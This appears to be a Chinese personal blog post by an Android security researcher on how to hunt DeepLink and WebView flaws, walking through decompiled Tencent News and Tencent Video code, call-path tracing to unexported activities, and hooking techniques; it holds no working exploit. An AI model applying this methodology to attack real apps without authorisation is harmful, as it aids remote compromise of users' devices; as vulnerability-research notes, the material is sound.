之前我总是说在本地发一个Intent给某个应用,然后这个Intent被指定的组件解析,通过一系列的参数构造使程序调用到方法startActivity()启动任意私有组件,再结合FileProvider与动态加载机制实现本地任意代码执行,我真的是太喜欢这种模式了,屡试不爽,我还写了一个工具叫作PathFinder专门挖这种漏洞,这玩意的细节我就不多说了

大家写工具还是要注意一些问题,比如是否有开源工具能够完美解决你的需求,尽量把各类工具的情况都摸清楚,优缺点都做一下笔记进行对比,我在写这个工具的时候对比了AndroGuard,Mariana Trench,FlowDroid,甚至回到了Soot希望能够进行定制,可惜的是确实没有开箱即用的工具,所以才自己实现

回到这里说的漏洞,这种模式最大的弊端就是它是本地攻击,如果要进行CVSS打分的话,得是Local,基本上分数固定为8.4分:CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

再加上现在很多厂商会把组件全都保护起来,导致简单的任意私有组件启动漏洞真的非常难找,如果说坚持挖这个方向的漏洞,要么深入挖掘那些复杂的逻辑,要么开辟新的攻击入口,比如Google Search那个任意私有组件启动漏洞,属实是太复杂了,后面我单独写一篇文章讲讲这个漏洞的原理以及如何自动化的挖掘该类型的漏洞,越复杂的漏洞越能检测扫描器的覆盖能力

接下来介绍下我这段时间一直在研究的远程攻击入口:DeepLink,这里我并不是要进行DeepLink引入漏洞的教学,而是分享下一些小细节上的处理

DeepLink就是大家用Android手机访问一条链接的时候,会弹出一个框说要打开指定的应用,询问用户是否允许,这个允许弹窗其实是国产手机浏览器自己做的,也直接让0 Click变成了1 Click,这里不讨论如何让1 Click变成0 Click

现在的DeepLink背后对应的代码随着产品功能的复杂也随之越来越规范化

最开始的WebView直接就放在一个Activity里,把加载URL的操作放在按钮的点击事件回调里,简简单单,后来WebView变成了SafeWebView,这个公共组件几乎每个互联网大厂都有,能够把一些简单的配置漏洞给堵掉,有的WebView还会专门配置一个WebViewActivity来描述

现实世界已经发展到什么程度了呢?

我们先来看腾讯新闻,版本为2022.07.12发布的V6.9.00

先搜索继承自WebViewClient的子类,非常丰富

IMAGE

随机选一个com.tencent.news.webview.WebMusicActivity里的c

public class c extends WebViewClient {
    public c() {
    }

    @Override // com.tencent.smtt.sdk.WebViewClient
    public void onPageFinished(WebView webView, String str) {
        super.onPageFinished(webView, str);
        ...
    }

    @Override // com.tencent.smtt.sdk.WebViewClient
    public void onPageStarted(WebView webView, String str, Bitmap bitmap) {
        ...
    }

    @Override // com.tencent.smtt.sdk.WebViewClient
    public boolean shouldOverrideUrlLoading(WebView webView, String str) {
        return JsapiUtil.intercept(str, WebMusicActivity.this.mCurrUrl);
    }
}

com.tencent.news.webview.WebMusicActivity初始化WebView的时候,就会将c绑定到当前WebView

[1]里面会进行最基本的设置,比如开启JavaScript,关闭文件访问等,[2]进行自定义WebViewClient设置,可以看到[3]c绑定上了当前WebView

@Override
public void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    setContentView(com.tencent.news.newsdetail_l5.b.web_music_activity);
    this.themeSettingsHelper = ThemeSettingsHelper.m76417();
    if (!getIntentData()) {
        quitActivity();
        return;
    }
    initView();  // [1]
    initListener();  // [2]
    if (!StringUtil.m76279(this.mUrl)) {
        this.mWebView.post(new a());
    }
}

private void initListener() {
    this.mWebView.setWebChromeClient(new b(this));
    this.mWebView.setWebViewClient(new c());  // [3]
    this.mWebBarView.setBtnBackClickListener(new d());
    this.mWebBarView.setBtnForwardClickListener(new e());
    this.mWebBarView.setBtnRefreshClickListener(new f());
    this.mWebView.setDownloadListener(new g());
}

这个时候我们就整理出了一个腾讯新闻里最基本的WebView组件,接下来我们有两个选择,找左侧调用路径,找右侧加载URL

左侧调用路径是说现在有一个WebView组件在这里,我们需要找到所有能够调用到这个组件的业务逻辑,将其梳理清楚

右侧加载URL是说我们需要找到loadUrl()前后的生命周期所涉及到的所有回调方法,当一个WebView加载URL的时候,我们最常见要关心的是shouldOverrideUrlLoading(),然后是onPageStarted()onPageFinished(),WebView的生命周期上有非常复杂也非常多的回调方法,包括窗口变化都会触发回调,所以这部分需要各位自行梳理

重点提醒一个小技巧,如果当前WebView所在的组件WebViewActivity不导出,并不代表它不能被外部访问,我们依旧可以梳理处理DeepLink的组件DeepLinkActivity,观察其是否有通过DeepLink跳转到当前WebView所在组件WebViewActivity的可能,如果不存在DeepLinkActivity跳转过来的可能,也可以观察其它导出组件是否有可达的调用路径,一般来说WebViewActivity不会导出,但它一定要提供给其它组件使用,所以以上描述的场景会比较常见

那么我们是先找左侧调用路径还是先找右侧加载URL呢?

我一般是先找右侧加载URL,当我们发现当前WebView在加载URL的过程中,没有白名单校验,或者白名单校验可以绕过,就说明有的玩,在确定后续有的玩再去找左侧调用路径

这里的例子我们看到可以进一步研究方法openApp(),要注意的是方法shouldOverrideUrlLoading()未必会使用loadUrl()去加载URL

public static boolean intercept(String str, @Nullable String str2) {
    if (TextUtils.isEmpty(str)) {
        return false;
    }
    Locale locale = Locale.US;
    if (str.toLowerCase(locale).startsWith("http")) {
        return false;
    }
    if (isCommonSchema(str)) {
        return true;
    }
    if (isFilterSchema(str, str2)) {
        return openApp(str, "");
    }
    return !com.tencent.news.utils.b.m74338() || !str.toLowerCase(locale).startsWith("file:///android_asset");
}

如果我们发现右侧有研究的价值,而左侧的直接入口com.tencent.news.webview.WebMusicActivity又没有导出怎么办呢?

我比较喜欢的一个办法:全局搜索WebMusicActivity.class,找到startActivity()调用,分析是否有通过Intent跳转过来的路径,搜索关键词包括但不限于WebMusicActivity.class,相关的关键词都可以尝试一下

这个办法通常会回到处理DeepLink的导出组件上,不绝对,但概率比较大

除了直接的跳转调用,还有路由框架,比如阿里的ARouter,美团的WMRouter,这些框架在我分析DeepLink时遇见的概率逐渐增加,大家可以跟进一下

依旧是以com.tencent.news.webview.WebMusicActivity为例,我们看到这里有25个搜索结果,其中24个是本类相关,只有一处是配置型的代码

IMAGE

从包名来看这是腾讯自己实现的路由框架,第一个参数应该就是DeepLink里的Path字段,想要快速追踪一个未知路由框架整条路由分发逻辑调用路径有个小技巧,直接勾住所有的shouldOverrideUrlLoading(),打一下调用栈,基本上都能出来

IMAGE

再来看腾讯视频,版本为2022.07.15发布的V8.6.46.26817

同样的方法搜索自定义的WebViewClient

IMAGE

左侧调用路径,建议搜索关键词,而不是直接对类名进行交叉引用,我们进入com.tencent.qqlive.dlna.DlnaDeviceListActivity,DLNA是一种投屏协议

IMAGE

右侧加载URL,如果传入URL可控的话,大家觉得这种写法有没有问题,各位思考思考

IMAGE

至于梳理这种调用关系我用的是思维导图工具MindMaster,用个比较小的图来演示一下

IMAGE

我前段时间写了一篇文章,名字叫作:《我花了三天时间发现并完整利用了一个通过Android系统浏览器访问指定链接可触发的应用远程代码执行漏洞但是反弹Shell非常不稳定于是我决定进行进一步的研究好在皇天不负有心人在我又花了一个星期时间之后终于把它从不稳定的N Click RCE变成了非常稳定的1 Click RCE又趁着开心我写了相当详细的漏洞分析与利用文章还快乐的录了演示视频再之后这个漏洞被撞了(注:这里的1 Click是指Android系统浏览器会弹窗提醒用户是否要打开指定的应用,所以严格情况下认为这是1 Click)》

也好,让这篇文章彻底在时光里尘封,从今往后再也不提及

这段时间我有无数的瞬间冒出再也不研究应用侧漏洞的想法,太容易撞洞了,之前说我开始研究系统安全,其实已经在做了,所以上面为什么有高通驱动的内容,而且有了一些有趣且好玩的产出,但是因为历史原因,应用侧的安全一直没有放开

发现一个有趣的现象,同一个想法,我在线上与各位讨论往往能够得到非常好的效果,一加一远大于二,而在线下得到的更多是质疑与否定,所以咱们继续保持线上交流,邮箱:wnagzihxa1n@gmail.com

Summary Of Loan Suspension,数量涨的很快,蹲一个后续,毕竟大家这几年几乎都要买房的对吧

1968年武汉版《毛泽东思想万岁》

周末最后一个晚上愉快~